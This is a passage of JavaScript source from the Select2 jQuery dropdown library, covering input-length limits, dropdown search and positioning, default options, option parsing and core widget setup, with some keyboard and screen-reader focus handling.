minimum: this.minimumInputLength,
input: params.term,
params: params
}
});
return;
}
decorated.call(this, params, callback);
};
return MinimumInputLength;
});
S2.define('select2/data/maximumInputLength',[
], function () {
function MaximumInputLength (decorated, $e, options) {
this.maximumInputLength = options.get('maximumInputLength');
decorated.call(this, $e, options);
}
MaximumInputLength.prototype.query = function (decorated, params, callback) {
params.term = params.term || '';
if (this.maximumInputLength > 0 &&
params.term.length > this.maximumInputLength) {
this.trigger('results:message', {
message: 'inputTooLong',
args: {
maximum: this.maximumInputLength,
input: params.term,
params: params
}
});
return;
}
decorated.call(this, params, callback);
};
return MaximumInputLength;
});
S2.define('select2/data/maximumSelectionLength',[
], function (){
function MaximumSelectionLength (decorated, $e, options) {
this.maximumSelectionLength = options.get('maximumSelectionLength');
decorated.call(this, $e, options);
}
MaximumSelectionLength.prototype.query =
function (decorated, params, callback) {
var self = this;
this.current(function (currentData) {
var count = currentData != null ? currentData.length : 0;
if (self.maximumSelectionLength > 0 &&
count >= self.maximumSelectionLength) {
self.trigger('results:message', {
message: 'maximumSelected',
args: {
maximum: self.maximumSelectionLength
}
});
return;
}
decorated.call(self, params, callback);
});
};
return MaximumSelectionLength;
});
S2.define('select2/dropdown',[
'jquery',
'./utils'
], function ($, Utils) {
function Dropdown ($element, options) {
this.$element = $element;
this.options = options;
Dropdown.__super__.constructor.call(this);
}
Utils.Extend(Dropdown, Utils.Observable);
Dropdown.prototype.render = function () {
var $dropdown = $(
'<span class="select2-dropdown">' +
'<span class="select2-results"></span>' +
'</span>'
);
$dropdown.attr('dir', this.options.get('dir'));
this.$dropdown = $dropdown;
return $dropdown;
};
Dropdown.prototype.bind = function () {
// Should be implemented in subclasses
};
Dropdown.prototype.position = function ($dropdown, $container) {
// Should be implmented in subclasses
};
Dropdown.prototype.destroy = function () {
// Remove the dropdown from the DOM
this.$dropdown.remove();
};
return Dropdown;
});
S2.define('select2/dropdown/search',[
'jquery',
'../utils'
], function ($, Utils) {
function Search () { }
Search.prototype.render = function (decorated) {
var $rendered = decorated.call(this);
var $search = $(
'<span class="select2-search select2-search--dropdown">' +
'<input class="select2-search__field" type="text" tabindex="-1"' +
' autocomplete="off" autocorrect="off" autocapitalize="none"' +
' spellcheck="false" role="combobox" aria-autocomplete="list" aria-expanded="true" />' +
'</span>'
);
this.$searchContainer = $search;
this.$search = $search.find('input');
$rendered.prepend($search);
return $rendered;
};
Search.prototype.bind = function (decorated, container, $container) {
var self = this;
var resultsId = container.id + '-results';
decorated.call(this, container, $container);
this.$search.on('keydown', function (evt) {
self.trigger('keypress', evt);
self._keyUpPrevented = evt.isDefaultPrevented();
});
// Workaround for browsers which do not support the `input` event
// This will prevent double-triggering of events for browsers which support
// both the `keyup` and `input` events.
this.$search.on('input', function (evt) {
// Unbind the duplicated `keyup` event
$(this).off('keyup');
});
this.$search.on('keyup input', function (evt) {
self.handleSearch(evt);
});
container.on('open', function () {
self.$search.attr('tabindex', 0);
self.$search.attr('aria-owns', resultsId);
self.$search.focus();
window.setTimeout(function () {
self.$search.focus();
}, 0);
});
container.on('close', function () {
self.$search.attr('tabindex', -1);
self.$search.removeAttr('aria-activedescendant');
self.$search.removeAttr('aria-owns');
self.$search.val('');
});
container.on('focus', function () {
if (!container.isOpen()) {
self.$search.focus();
}
});
container.on('results:all', function (params) {
if (params.query.term == null || params.query.term === '') {
var showSearch = self.showSearch(params);
if (showSearch) {
self.$searchContainer.removeClass('select2-search--hide');
} else {
self.$searchContainer.addClass('select2-search--hide');
}
}
});
container.on('results:focus', function (params) {
self.$search.attr('aria-activedescendant', params.data._resultId);
});
};
Search.prototype.handleSearch = function (evt) {
if (!this._keyUpPrevented) {
var input = this.$search.val();
this.trigger('query', {
term: input
});
}
this._keyUpPrevented = false;
};
Search.prototype.showSearch = function (_, params) {
return true;
};
return Search;
});
S2.define('select2/dropdown/hidePlaceholder',[
], function () {
function HidePlaceholder (decorated, $element, options, dataAdapter) {
this.placeholder = this.normalizePlaceholder(options.get('placeholder'));
decorated.call(this, $element, options, dataAdapter);
}
HidePlaceholder.prototype.append = function (decorated, data) {
data.results = this.removePlaceholder(data.results);
decorated.call(this, data);
};
HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) {
if (typeof placeholder === 'string') {
placeholder = {
id: '',
text: placeholder
};
}
return placeholder;
};
HidePlaceholder.prototype.removePlaceholder = function (_, data) {
var modifiedData = data.slice(0);
for (var d = data.length - 1; d >= 0; d--) {
var item = data[d];
if (this.placeholder.id === item.id) {
modifiedData.splice(d, 1);
}
}
return modifiedData;
};
return HidePlaceholder;
});
S2.define('select2/dropdown/infiniteScroll',[
'jquery'
], function ($) {
function InfiniteScroll (decorated, $element, options, dataAdapter) {
this.lastParams = {};
decorated.call(this, $element, options, dataAdapter);
this.$loadingMore = this.createLoadingMore();
this.loading = false;
}
InfiniteScroll.prototype.append = function (decorated, data) {
this.$loadingMore.remove();
this.loading = false;
decorated.call(this, data);
if (this.showLoadingMore(data)) {
this.$results.append(this.$loadingMore);
}
};
InfiniteScroll.prototype.bind = function (decorated, container, $container) {
var self = this;
decorated.call(this, container, $container);
container.on('query', function (params) {
self.lastParams = params;
self.loading = true;
});
container.on('query:append', function (params) {
self.lastParams = params;
self.loading = true;
});
this.$results.on('scroll', function () {
var isLoadMoreVisible = $.contains(
document.documentElement,
self.$loadingMore[0]
);
if (self.loading || !isLoadMoreVisible) {
return;
}
var currentOffset = self.$results.offset().top +
self.$results.outerHeight(false);
var loadingMoreOffset = self.$loadingMore.offset().top +
self.$loadingMore.outerHeight(false);
if (currentOffset + 50 >= loadingMoreOffset) {
self.loadMore();
}
});
};
InfiniteScroll.prototype.loadMore = function () {
this.loading = true;
var params = $.extend({}, {page: 1}, this.lastParams);
params.page++;
this.trigger('query:append', params);
};
InfiniteScroll.prototype.showLoadingMore = function (_, data) {
return data.pagination && data.pagination.more;
};
InfiniteScroll.prototype.createLoadingMore = function () {
var $option = $(
'<li ' +
'class="select2-results__option select2-results__option--load-more"' +
'role="option" aria-disabled="true"></li>'
);
var message = this.options.get('translations').get('loadingMore');
$option.html(message(this.lastParams));
return $option;
};
return InfiniteScroll;
});
S2.define('select2/dropdown/attachBody',[
'jquery',
'../utils'
], function ($, Utils) {
function AttachBody (decorated, $element, options) {
this.$dropdownParent = options.get('dropdownParent') || $(document.body);
decorated.call(this, $element, options);
}
AttachBody.prototype.bind = function (decorated, container, $container) {
var self = this;
var setupResultsEvents = false;
decorated.call(this, container, $container);
container.on('open', function () {
self._showDropdown();
self._attachPositioningHandler(container);
if (!setupResultsEvents) {
setupResultsEvents = true;
container.on('results:all', function () {
self._positionDropdown();
self._resizeDropdown();
});
container.on('results:append', function () {
self._positionDropdown();
self._resizeDropdown();
});
}
});
container.on('close', function () {
self._hideDropdown();
self._detachPositioningHandler(container);
});
this.$dropdownContainer.on('mousedown', function (evt) {
evt.stopPropagation();
});
};
AttachBody.prototype.destroy = function (decorated) {
decorated.call(this);
this.$dropdownContainer.remove();
};
AttachBody.prototype.position = function (decorated, $dropdown, $container) {
// Clone all of the container classes
$dropdown.attr('class', $container.attr('class'));
$dropdown.removeClass('select2');
$dropdown.addClass('select2-container--open');
$dropdown.css({
position: 'absolute',
top: -999999
});
this.$container = $container;
};
AttachBody.prototype.render = function (decorated) {
var $container = $('<span></span>');
var $dropdown = decorated.call(this);
$container.append($dropdown);
this.$dropdownContainer = $container;
return $container;
};
AttachBody.prototype._hideDropdown = function (decorated) {
this.$dropdownContainer.detach();
};
AttachBody.prototype._attachPositioningHandler =
function (decorated, container) {
var self = this;
var scrollEvent = 'scroll.select2.' + container.id;
var resizeEvent = 'resize.select2.' + container.id;
var orientationEvent = 'orientationchange.select2.' + container.id;
var $watchers = this.$container.parents().filter(Utils.hasScroll);
$watchers.each(function () {
$(this).data('select2-scroll-position', {
x: $(this).scrollLeft(),
y: $(this).scrollTop()
});
});
$watchers.on(scrollEvent, function (ev) {
var position = $(this).data('select2-scroll-position');
$(this).scrollTop(position.y);
});
$(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent,
function (e) {
self._positionDropdown();
self._resizeDropdown();
});
};
AttachBody.prototype._detachPositioningHandler =
function (decorated, container) {
var scrollEvent = 'scroll.select2.' + container.id;
var resizeEvent = 'resize.select2.' + container.id;
var orientationEvent = 'orientationchange.select2.' + container.id;
var $watchers = this.$container.parents().filter(Utils.hasScroll);
$watchers.off(scrollEvent);
$(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent);
};
AttachBody.prototype._positionDropdown = function () {
var $window = $(window);
var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above');
var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below');
var newDirection = null;
var offset = this.$container.offset();
offset.bottom = offset.top + this.$container.outerHeight(false);
var container = {
height: this.$container.outerHeight(false)
};
container.top = offset.top;
container.bottom = offset.top + container.height;
var dropdown = {
height: this.$dropdown.outerHeight(false)
};
var viewport = {
top: $window.scrollTop(),
bottom: $window.scrollTop() + $window.height()
};
var enoughRoomAbove = viewport.top < (offset.top - dropdown.height);
var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height);
var css = {
left: offset.left,
top: container.bottom
};
// Determine what the parent element is to use for calciulating the offset
var $offsetParent = this.$dropdownParent;
// For statically positoned elements, we need to get the element
// that is determining the offset
if ($offsetParent.css('position') === 'static') {
$offsetParent = $offsetParent.offsetParent();
}
var parentOffset = $offsetParent.offset();
css.top -= parentOffset.top;
css.left -= parentOffset.left;
if (!isCurrentlyAbove && !isCurrentlyBelow) {
newDirection = 'below';
}
if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) {
newDirection = 'above';
} else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) {
newDirection = 'below';
}
if (newDirection == 'above' ||
(isCurrentlyAbove && newDirection !== 'below')) {
css.top = container.top - parentOffset.top - dropdown.height;
}
if (newDirection != null) {
this.$dropdown
.removeClass('select2-dropdown--below select2-dropdown--above')
.addClass('select2-dropdown--' + newDirection);
this.$container
.removeClass('select2-container--below select2-container--above')
.addClass('select2-container--' + newDirection);
}
this.$dropdownContainer.css(css);
};
AttachBody.prototype._resizeDropdown = function () {
var css = {
width: this.$container.outerWidth(false) + 'px'
};
if (this.options.get('dropdownAutoWidth')) {
css.minWidth = css.width;
css.position = 'relative';
css.width = 'auto';
}
this.$dropdown.css(css);
};
AttachBody.prototype._showDropdown = function (decorated) {
this.$dropdownContainer.appendTo(this.$dropdownParent);
this._positionDropdown();
this._resizeDropdown();
};
return AttachBody;
});
S2.define('select2/dropdown/minimumResultsForSearch',[
], function () {
function countResults (data) {
var count = 0;
for (var d = 0; d < data.length; d++) {
var item = data[d];
if (item.children) {
count += countResults(item.children);
} else {
count++;
}
}
return count;
}
function MinimumResultsForSearch (decorated, $element, options, dataAdapter) {
this.minimumResultsForSearch = options.get('minimumResultsForSearch');
if (this.minimumResultsForSearch < 0) {
this.minimumResultsForSearch = Infinity;
}
decorated.call(this, $element, options, dataAdapter);
}
MinimumResultsForSearch.prototype.showSearch = function (decorated, params) {
if (countResults(params.data.results) < this.minimumResultsForSearch) {
return false;
}
return decorated.call(this, params);
};
return MinimumResultsForSearch;
});
S2.define('select2/dropdown/selectOnClose',[
], function () {
function SelectOnClose () { }
SelectOnClose.prototype.bind = function (decorated, container, $container) {
var self = this;
decorated.call(this, container, $container);
container.on('close', function (params) {
self._handleSelectOnClose(params);
});
};
SelectOnClose.prototype._handleSelectOnClose = function (_, params) {
if (params && params.originalSelect2Event != null) {
var event = params.originalSelect2Event;
// Don't select an item if the close event was triggered from a select or
// unselect event
if (event._type === 'select' || event._type === 'unselect') {
return;
}
}
var $highlightedResults = this.getHighlightedResults();
// Only select highlighted results
if ($highlightedResults.length < 1) {
return;
}
var data = $highlightedResults.data('data');
// Don't re-select already selected resulte
if (
(data.element != null && data.element.selected) ||
(data.element == null && data.selected)
) {
return;
}
this.trigger('select', {
data: data
});
};
return SelectOnClose;
});
S2.define('select2/dropdown/closeOnSelect',[
], function () {
function CloseOnSelect () { }
CloseOnSelect.prototype.bind = function (decorated, container, $container) {
var self = this;
decorated.call(this, container, $container);
container.on('select', function (evt) {
self._selectTriggered(evt);
});
container.on('unselect', function (evt) {
self._selectTriggered(evt);
});
};
CloseOnSelect.prototype._selectTriggered = function (_, evt) {
var originalEvent = evt.originalEvent;
// Don't close if the control key is being held
if (originalEvent && originalEvent.ctrlKey) {
return;
}
this.trigger('close', {
originalEvent: originalEvent,
originalSelect2Event: evt
});
};
return CloseOnSelect;
});
S2.define('select2/i18n/en',[],function () {
// English
return {
errorLoading: function () {
return 'The results could not be loaded.';
},
inputTooLong: function (args) {
var overChars = args.input.length - args.maximum;
var message = 'Please delete ' + overChars + ' character';
if (overChars != 1) {
message += 's';
}
return message;
},
inputTooShort: function (args) {
var remainingChars = args.minimum - args.input.length;
var message = 'Please enter ' + remainingChars + ' or more characters';
return message;
},
loadingMore: function () {
return 'Loading more results…';
},
maximumSelected: function (args) {
var message = 'You can only select ' + args.maximum + ' item';
if (args.maximum != 1) {
message += 's';
}
return message;
},
noResults: function () {
return 'No results found';
},
searching: function () {
return 'Searching…';
}
};
});
S2.define('select2/defaults',[
'jquery',
'require',
'./results',
'./selection/single',
'./selection/multiple',
'./selection/placeholder',
'./selection/allowClear',
'./selection/search',
'./selection/eventRelay',
'./utils',
'./translation',
'./diacritics',
'./data/select',
'./data/array',
'./data/ajax',
'./data/tags',
'./data/tokenizer',
'./data/minimumInputLength',
'./data/maximumInputLength',
'./data/maximumSelectionLength',
'./dropdown',
'./dropdown/search',
'./dropdown/hidePlaceholder',
'./dropdown/infiniteScroll',
'./dropdown/attachBody',
'./dropdown/minimumResultsForSearch',
'./dropdown/selectOnClose',
'./dropdown/closeOnSelect',
'./i18n/en'
], function ($, require,
ResultsList,
SingleSelection, MultipleSelection, Placeholder, AllowClear,
SelectionSearch, EventRelay,
Utils, Translation, DIACRITICS,
SelectData, ArrayData, AjaxData, Tags, Tokenizer,
MinimumInputLength, MaximumInputLength, MaximumSelectionLength,
Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll,
AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect,
EnglishTranslation) {
function Defaults () {
this.reset();
}
Defaults.prototype.apply = function (options) {
options = $.extend(true, {}, this.defaults, options);
if (options.dataAdapter == null) {
if (options.ajax != null) {
options.dataAdapter = AjaxData;
} else if (options.data != null) {
options.dataAdapter = ArrayData;
} else {
options.dataAdapter = SelectData;
}
if (options.minimumInputLength > 0) {
options.dataAdapter = Utils.Decorate(
options.dataAdapter,
MinimumInputLength
);
}
if (options.maximumInputLength > 0) {
options.dataAdapter = Utils.Decorate(
options.dataAdapter,
MaximumInputLength
);
}
if (options.maximumSelectionLength > 0) {
options.dataAdapter = Utils.Decorate(
options.dataAdapter,
MaximumSelectionLength
);
}
if (options.tags) {
options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags);
}
if (options.tokenSeparators != null || options.tokenizer != null) {
options.dataAdapter = Utils.Decorate(
options.dataAdapter,
Tokenizer
);
}
if (options.query != null) {
var Query = require(options.amdBase + 'compat/query');
options.dataAdapter = Utils.Decorate(
options.dataAdapter,
Query
);
}
if (options.initSelection != null) {
var InitSelection = require(options.amdBase + 'compat/initSelection');
options.dataAdapter = Utils.Decorate(
options.dataAdapter,
InitSelection
);
}
}
if (options.resultsAdapter == null) {
options.resultsAdapter = ResultsList;
if (options.ajax != null) {
options.resultsAdapter = Utils.Decorate(
options.resultsAdapter,
InfiniteScroll
);
}
if (options.placeholder != null) {
options.resultsAdapter = Utils.Decorate(
options.resultsAdapter,
HidePlaceholder
);
}
if (options.selectOnClose) {
options.resultsAdapter = Utils.Decorate(
options.resultsAdapter,
SelectOnClose
);
}
}
if (options.dropdownAdapter == null) {
if (options.multiple) {
options.dropdownAdapter = Dropdown;
} else {
var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch);
options.dropdownAdapter = SearchableDropdown;
}
if (options.minimumResultsForSearch !== 0) {
options.dropdownAdapter = Utils.Decorate(
options.dropdownAdapter,
MinimumResultsForSearch
);
}
if (options.closeOnSelect) {
options.dropdownAdapter = Utils.Decorate(
options.dropdownAdapter,
CloseOnSelect
);
}
if (
options.dropdownCssClass != null ||
options.dropdownCss != null ||
options.adaptDropdownCssClass != null
) {
var DropdownCSS = require(options.amdBase + 'compat/dropdownCss');
options.dropdownAdapter = Utils.Decorate(
options.dropdownAdapter,
DropdownCSS
);
}
options.dropdownAdapter = Utils.Decorate(
options.dropdownAdapter,
AttachBody
);
}
if (options.selectionAdapter == null) {
if (options.multiple) {
options.selectionAdapter = MultipleSelection;
} else {
options.selectionAdapter = SingleSelection;
}
// Add the placeholder mixin if a placeholder was specified
if (options.placeholder != null) {
options.selectionAdapter = Utils.Decorate(
options.selectionAdapter,
Placeholder
);
}
if (options.allowClear) {
options.selectionAdapter = Utils.Decorate(
options.selectionAdapter,
AllowClear
);
}
if (options.multiple) {
options.selectionAdapter = Utils.Decorate(
options.selectionAdapter,
SelectionSearch
);
}
if (
options.containerCssClass != null ||
options.containerCss != null ||
options.adaptContainerCssClass != null
) {
var ContainerCSS = require(options.amdBase + 'compat/containerCss');
options.selectionAdapter = Utils.Decorate(
options.selectionAdapter,
ContainerCSS
);
}
options.selectionAdapter = Utils.Decorate(
options.selectionAdapter,
EventRelay
);
}
if (typeof options.language === 'string') {
// Check if the language is specified with a region
if (options.language.indexOf('-') > 0) {
// Extract the region information if it is included
var languageParts = options.language.split('-');
var baseLanguage = languageParts[0];
options.language = [options.language, baseLanguage];
} else {
options.language = [options.language];
}
}
if ($.isArray(options.language)) {
var languages = new Translation();
options.language.push('en');
var languageNames = options.language;
for (var l = 0; l < languageNames.length; l++) {
var name = languageNames[l];
var language = {};
try {
// Try to load it with the original name
language = Translation.loadPath(name);
} catch (e) {
try {
// If we couldn't load it, check if it wasn't the full path
name = this.defaults.amdLanguageBase + name;
language = Translation.loadPath(name);
} catch (ex) {
// The translation could not be loaded at all. Sometimes this is
// because of a configuration problem, other times this can be
// because of how Select2 helps load all possible translation files.
if (options.debug && window.console && console.warn) {
console.warn(
'Select2: The language file for "' + name + '" could not be ' +
'automatically loaded. A fallback will be used instead.'
);
}
continue;
}
}
languages.extend(language);
}
options.translations = languages;
} else {
var baseTranslation = Translation.loadPath(
this.defaults.amdLanguageBase + 'en'
);
var customTranslation = new Translation(options.language);
customTranslation.extend(baseTranslation);
options.translations = customTranslation;
}
return options;
};
Defaults.prototype.reset = function () {
function stripDiacritics (text) {
// Used 'uni range + named function' from http://jsperf.com/diacritics/18
function match(a) {
return DIACRITICS[a] || a;
}
return text.replace(/[^\u0000-\u007E]/g, match);
}
function matcher (params, data) {
// Always return the object if there is nothing to compare
if ($.trim(params.term) === '') {
return data;
}
// Do a recursive check for options with children
if (data.children && data.children.length > 0) {
// Clone the data object if there are children
// This is required as we modify the object to remove any non-matches
var match = $.extend(true, {}, data);
// Check each child of the option
for (var c = data.children.length - 1; c >= 0; c--) {
var child = data.children[c];
var matches = matcher(params, child);
// If there wasn't a match, remove the object in the array
if (matches == null) {
match.children.splice(c, 1);
}
}
// If any children matched, return the new object
if (match.children.length > 0) {
return match;
}
// If there were no matching children, check just the plain object
return matcher(params, match);
}
var original = stripDiacritics(data.text).toUpperCase();
var term = stripDiacritics(params.term).toUpperCase();
// Check if the text contains the term
if (original.indexOf(term) > -1) {
return data;
}
// If it doesn't contain the term, don't return anything
return null;
}
this.defaults = {
amdBase: './',
amdLanguageBase: './i18n/',
closeOnSelect: true,
debug: false,
dropdownAutoWidth: false,
escapeMarkup: Utils.escapeMarkup,
language: EnglishTranslation,
matcher: matcher,
minimumInputLength: 0,
maximumInputLength: 0,
maximumSelectionLength: 0,
minimumResultsForSearch: 0,
selectOnClose: false,
sorter: function (data) {
return data;
},
templateResult: function (result) {
return result.text;
},
templateSelection: function (selection) {
return selection.text;
},
theme: 'default',
width: 'resolve'
};
};
Defaults.prototype.set = function (key, value) {
var camelKey = $.camelCase(key);
var data = {};
data[camelKey] = value;
var convertedData = Utils._convertData(data);
$.extend(this.defaults, convertedData);
};
var defaults = new Defaults();
return defaults;
});
S2.define('select2/options',[
'require',
'jquery',
'./defaults',
'./utils'
], function (require, $, Defaults, Utils) {
function Options (options, $element) {
this.options = options;
if ($element != null) {
this.fromElement($element);
}
this.options = Defaults.apply(this.options);
if ($element && $element.is('input')) {
var InputCompat = require(this.get('amdBase') + 'compat/inputData');
this.options.dataAdapter = Utils.Decorate(
this.options.dataAdapter,
InputCompat
);
}
}
Options.prototype.fromElement = function ($e) {
var excludedData = ['select2'];
if (this.options.multiple == null) {
this.options.multiple = $e.prop('multiple');
}
if (this.options.disabled == null) {
this.options.disabled = $e.prop('disabled');
}
if (this.options.language == null) {
if ($e.prop('lang')) {
this.options.language = $e.prop('lang').toLowerCase();
} else if ($e.closest('[lang]').prop('lang')) {
this.options.language = $e.closest('[lang]').prop('lang');
}
}
if (this.options.dir == null) {
if ($e.prop('dir')) {
this.options.dir = $e.prop('dir');
} else if ($e.closest('[dir]').prop('dir')) {
this.options.dir = $e.closest('[dir]').prop('dir');
} else {
this.options.dir = 'ltr';
}
}
$e.prop('disabled', this.options.disabled);
$e.prop('multiple', this.options.multiple);
if ($e.data('select2Tags')) {
if (this.options.debug && window.console && console.warn) {
console.warn(
'Select2: The `data-select2-tags` attribute has been changed to ' +
'use the `data-data` and `data-tags="true"` attributes and will be ' +
'removed in future versions of Select2.'
);
}
$e.data('data', $e.data('select2Tags'));
$e.data('tags', true);
}
if ($e.data('ajaxUrl')) {
if (this.options.debug && window.console && console.warn) {
console.warn(
'Select2: The `data-ajax-url` attribute has been changed to ' +
'`data-ajax--url` and support for the old attribute will be removed' +
' in future versions of Select2.'
);
}
$e.attr('ajax--url', $e.data('ajaxUrl'));
$e.data('ajax--url', $e.data('ajaxUrl'));
}
var dataset = {};
// Prefer the element's `dataset` attribute if it exists
// jQuery 1.x does not correctly handle data attributes with multiple dashes
if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) {
dataset = $.extend(true, {}, $e[0].dataset, $e.data());
} else {
dataset = $e.data();
}
var data = $.extend(true, {}, dataset);
data = Utils._convertData(data);
for (var key in data) {
if ($.inArray(key, excludedData) > -1) {
continue;
}
if ($.isPlainObject(this.options[key])) {
$.extend(this.options[key], data[key]);
} else {
this.options[key] = data[key];
}
}
return this;
};
Options.prototype.get = function (key) {
return this.options[key];
};
Options.prototype.set = function (key, val) {
this.options[key] = val;
};
return Options;
});
S2.define('select2/core',[
'jquery',
'./options',
'./utils',
'./keys'
], function ($, Options, Utils, KEYS) {
var Select2 = function ($element, options) {
if ($element.data('select2') != null) {
$element.data('select2').destroy();
}
this.$element = $element;
this.id = this._generateId($element);
options = options || {};
this.options = new Options(options, $element);
Select2.__super__.constructor.call(this);
// Set up the tabindex
var tabindex = $element.attr('tabindex') || 0;
$element.data('old-tabindex', tabindex);
$element.attr('tabindex', '-1');
// Set up containers and adapters
var DataAdapter = this.options.get('dataAdapter');
this.dataAdapter = new DataAdapter($element, this.options);
var $container = this.render();
this._placeContainer($container);
var SelectionAdapter = this.options.get('selectionAdapter');
this.selection = new SelectionAdapter($element, this.options);
this.$selection = this.selection.render();
this.selection.position(this.$selection, $container);
var DropdownAdapter = this.options.get('dropdownAdapter');
this.dropdown = new DropdownAdapter($element, this.options);
this.$dropdown = this.dropdown.render();
this.dropdown.position(this.$dropdown, $container);
var ResultsAdapter = this.options.get('resultsAdapter');
this.results = new ResultsAdapter($element, this.options, this.dataAdapter);
this.$results = this.results.render();
this.results.position(this.$results, this.$dropdown);
// Bind events
var self = this;
// Bind the container to all of the adapters
this._bindAdapters();
// Register any DOM event handlers
this._registerDomEvents();
// Register any internal event handlers
this._registerDataEvents();
this._registerSelectionEvents();
this._registerDropdownEvents();
this._registerResultsEvents();
this._registerEvents();
// Set the initial state
this.dataAdapter.current(function (initialData) {
self.trigger('selection:update', {
data: initialData
});
});
// Hide the original select
$element.addClass('select2-hidden-accessible');
$element.attr('aria-hidden', 'true');
// Synchronize any monitored attributes
this._syncAttributes();
$element.data('select2', this);
};
Utils.Extend(Select2, Utils.Observable);
Select2.prototype._generateId = function ($element) {
var id = '';
if ($element.attr('id') != null) {
id = $element.attr('id');
} else if ($element.attr('name') != null) {
id = $element.attr('name') + '-' + Utils.generateChars(2);
} else {
id = Utils.generateChars(4);
}
id = id.replace(/(:|\.|\[|\]|,)/g, '');
id = 'select2-' + id;
return id;
};
Select2.prototype._placeContainer = function ($container) {
$container.insertAfter(this.$element);
var width = this._resolveWidth(this.$element, this.options.get('width'));
if (width != null) {
$container.css('width', width);
}
};
Select2.prototype._resolveWidth = function ($element, method) {
var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;
if (method == 'resolve') {
var styleWidth = this._resolveWidth($element, 'style');
if (styleWidth != null) {
return styleWidth;
}
return this._resolveWidth($element, 'element');
}
if (method == 'element') {
var elementWidth = $element.outerWidth(false);
if (elementWidth <= 0) {
return 'auto';
}
return elementWidth + 'px';
}
if (method == 'style') {
var style = $element.attr('style');
if (typeof(style) !== 'string') {
return null;
}
var attrs = style.split(';');
for (var i = 0, l = attrs.length; i < l; i = i + 1) {
var attr = attrs[i].replace(/\s/g, '');
var matches = attr.match(WIDTH);
if (matches !== null && matches.length >= 1) {
return matches[1];
}
}
return null;
}
return method;
};
Select2.prototype._bindAdapters = function () {
this.dataAdapter.bind(this, this.$container);
this.selection.bind(this, this.$container);
this.dropdown.bind(this, this.$container);
this.results.bind(this, this.$container);
};
Select2.prototype._registerDomEvents = function () {
var self = this;
this.$element.on('change.select2', function () {
self.dataAdapter.current(function (data) {
self.trigger('selection:update', {
data: data
});
});
});
this.$element.on('focus.select2', function (evt) {
self.trigger('focus', evt);
});
this._syncA = Utils.bind(this._syncAttributes, this);
this._syncS = Utils.bind(this._syncSubtree, this);
if (this.$element[0].attachEvent) {
this.$element[0].attachEvent('onpropertychange', this._syncA);
}
var observer = window.MutationObserver ||
window.WebKitMutationObserver ||
window.MozMutationObserver
;
if (observer != null) {
this._observer = new observer(function (mutations) {
$.each(mutations, self._syncA);
$.each(mutations, self._syncS);
});
this._observer.observe(this.$element[0], {
attributes: true,
childList: true,
subtree: false
});
} else if (this.$element[0].addEventListener) {
this.$element[0].addEventListener(
'DOMAttrModified',
self._syncA,
false
);
this.$element[0].addEventListener(
'DOMNodeInserted',
self._syncS,
false
);
this.$element[0].addEventListener(
'DOMNodeRemoved',
self._syncS,
false
);
}
};
Select2.prototype._registerDataEvents = function () {
var self = this;
this.dataAdapter.on('*', function (name, params) {
self.trigger(name, params);
});
};
Select2.prototype._registerSelectionEvents = function () {
var self = this;
var nonRelayEvents = ['toggle', 'focus'];
this.selection.on('toggle', function () {
self.toggleDropdown();
});
this.selection.on('focus', function (params) {
self.focus(params);
});
this.selection.on('*', function (name, params) {
if ($.inArray(name, nonRelayEvents) !== -1) {
return;
}
self.trigger(name, params);
});
};
Select2.prototype._registerDropdownEvents = function () {
var self = this;
this.dropdown.on('*', function (name, params) {
self.trigger(name, params);
});
};
Select2.prototype._registerResultsEvents = function () {
var self = this;
this.results.on('*', function (name, params) {
self.trigger(name, params);
});
};
Select2.prototype._registerEvents = function () {
var self = this;
this.on('open', function () {
self.$container.addClass('select2-container--open');
});
this.on('close', function () {
self.$container.removeClass('select2-container--open');
});
this.on('enable', function () {
self.$container.removeClass('select2-container--disabled');
});
this.on('disable', function () {
self.$container.addClass('select2-container--disabled');
});
this.on('blur', function () {
self.$container.removeClass('select2-container--focus');
});
this.on('query', function (params) {
if (!self.isOpen()) {
self.trigger('open', {});
}
this.dataAdapter.query(params, function (data) {
self.trigger('results:all', {
data: data,
query: params
});
});
});
this.on('query:append', function (params) {
this.dataAdapter.query(params, function (data) {
self.trigger('results:append', {
data: data,
query: params
});
});
});
this.on('open', function(){
// Focus on the active element when opening dropdown.
// Needs 1 ms delay because of other 1 ms setTimeouts when rendering.
setTimeout(function(){
self.focusOnActiveElement();
}, 1);
});
$(document).on('keydown', function (evt) {
var key = evt.which;
if (self.isOpen()) {
if (key === KEYS.ESC || (key === KEYS.UP && evt.altKey)) {
self.close();
evt.preventDefault();
} else if (key === KEYS.ENTER || key === KEYS.TAB) {
self.trigger('results:select', {});
evt.preventDefault();
} else if ((key === KEYS.SPACE && evt.ctrlKey)) {
self.trigger('results:toggle', {});
evt.preventDefault();
} else if (key === KEYS.UP) {
self.trigger('results:previous', {});
evt.preventDefault();
} else if (key === KEYS.DOWN) {
self.trigger('results:next', {});
evt.preventDefault();
}
var $searchField = self.$dropdown.find('.select2-search__field');
if (! $searchField.length) {
$searchField = self.$container.find('.select2-search__field');
}
// Move the focus to the selected element on keyboard navigation.
// Required for screen readers to work properly.
if (key === KEYS.DOWN || key === KEYS.UP) {
self.focusOnActiveElement();
} else {
// Focus on the search if user starts typing.
$searchField.focus();
// Focus back to active selection when finished typing.
// Small delay so typed character can be read by screen reader.
setTimeout(function(){
self.focusOnActiveElement();
}, 1000);
}
} else if (self.hasFocus()) {
if (key === KEYS.ENTER || key === KEYS.SPACE ||
key === KEYS.DOWN) {
self.open();
evt.preventDefault();
}
}
});
};
Select2.prototype.focusOnActiveElement = function () {
// Don't mess with the focus on touchscreens because it causes havoc with on-screen keyboards.
if (this.isOpen() && ! Utils.isTouchscreen()) {
this.$results.find('li.select2-results__option--highlighted').focus();
}
};
Select2.prototype._syncAttributes = function () {
this.options.set('disabled', this.$element.prop('disabled'));
